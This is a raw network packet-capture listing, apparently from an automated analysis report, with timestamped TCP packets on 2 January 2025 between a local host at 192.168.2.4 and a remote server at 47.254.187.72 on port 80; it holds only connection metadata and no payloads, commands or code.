Jan 2, 2025 20:34:57.946311951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.950640917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.950654030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.950664997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.950675011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.950685978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.950695992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.950706959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.950722933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.950722933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.950916052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.968781948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.968802929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.968813896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.968823910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.968839884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.968851089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.968861103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.968864918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.969161987 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.977698088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.977715969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.977726936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.977736950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.977747917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.977760077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.977771044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.977792978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.979054928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.979902983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.979913950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.979923964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.979933977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.979944944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.979954958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.979965925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.979971886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.979974985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.980015993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.980015993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.980521917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.980600119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.980608940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.980627060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.980638027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.980648994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.980654955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.980659008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.980669022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.980669975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.980688095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.981338024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.981348991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.981359959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.981364965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.981384039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.981386900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.981404066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.981408119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.981415033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.981425047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.981436014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.981442928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.981442928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.981483936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.981483936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.997998953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998019934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998049021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998059034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998069048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998080015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998142958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998153925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998168945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998178005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998188019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998198032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998208046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998218060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998228073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998325109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.998325109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.998325109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.998325109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.998325109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.998332024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998347044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998358011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998367071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998377085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998387098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998395920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.998402119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.998420000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.999079943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.999092102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.999100924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.999110937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.999111891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.999121904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.999131918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.999135017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.999144077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:57.999166965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:57.999756098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.005089998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.005101919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.005112886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.005122900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.005137920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.005147934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.005158901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.005192041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.007754087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.008057117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.008069038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.008079052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.008089066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.008102894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.008112907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.008122921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.008127928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.008135080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.008148909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.008157969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.011759996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.014767885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.014780045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.014801025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.014811993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.014827967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.014846087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.014856100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.014872074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.014877081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.015752077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.017242908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.017256021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.017266035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.017277956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.017287970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.017298937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.017309904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.017317057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.017317057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.017330885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.019752026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.022247076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.022258997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.022270918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.022285938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.022295952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.022308111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.022310972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.022335052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.022342920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.022353888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.023750067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.043561935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043637991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043648005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043664932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043675900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043687105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043699980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043711901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043710947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.043720961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043737888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043749094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043759108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043771029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043781042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.043787003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.043837070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.043873072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.055546999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.055560112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.055567026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.055572033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.055577993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.055588961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.055596113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.055600882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.055869102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.064585924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.064604044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.064616919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.064626932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.064637899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.064649105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.064661026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.064670086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.064677000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.066633940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.066644907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.066653967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.066663027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.066670895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.066680908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.066690922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.066694021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.066694021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.066701889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.066759109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.066759109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.067378998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.067394972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.067405939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.067415953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.067425966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.067433119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.067433119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.067440033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.067451000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.067466021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.067498922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.067498922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.068109035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.068120003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.068130016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.068145990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.068164110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.068171978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.068178892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.068190098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.068202972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.068242073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.068243027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085011005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085021019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085031986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085043907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085052967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085109949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085120916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085130930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085138083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085138083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085141897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085153103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085164070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085175991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085246086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085256100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085273027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085282087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085293055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085303068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085314035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085325003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085335016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085365057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085365057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085365057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085365057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085365057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085365057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085380077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085380077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085396051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085406065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085422993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085431099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085448027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085448027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085954905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085964918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085973978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.085979939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.085983992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.086003065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.086021900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.086033106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.086044073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.086045980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.086054087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.086065054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.086074114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.086086035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.087764025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.091844082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.091856956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.091871977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.091882944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.091893911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.091905117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.091916084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.091927052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.091934919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.091934919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.092005014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.094924927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.094935894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.094948053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.094958067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.094969034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.094975948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.094980001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.094990015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.094996929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.095017910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.095757008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.101540089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.101551056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.101561069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.101571083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.101588011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.101598978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.101609945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.101619959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.101633072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.103754044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.103923082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.103935003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.103945971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.103956938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.103967905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.103977919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.103988886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.104001045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.104037046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.104037046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.109075069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.109107018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.109117985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.109127998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.109139919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.109149933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.109162092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.109185934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.111757040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.130357027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130369902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130388021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130398035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130408049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130418062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.130441904 CET	80	49730	47.254.187.72	192.168.2.4
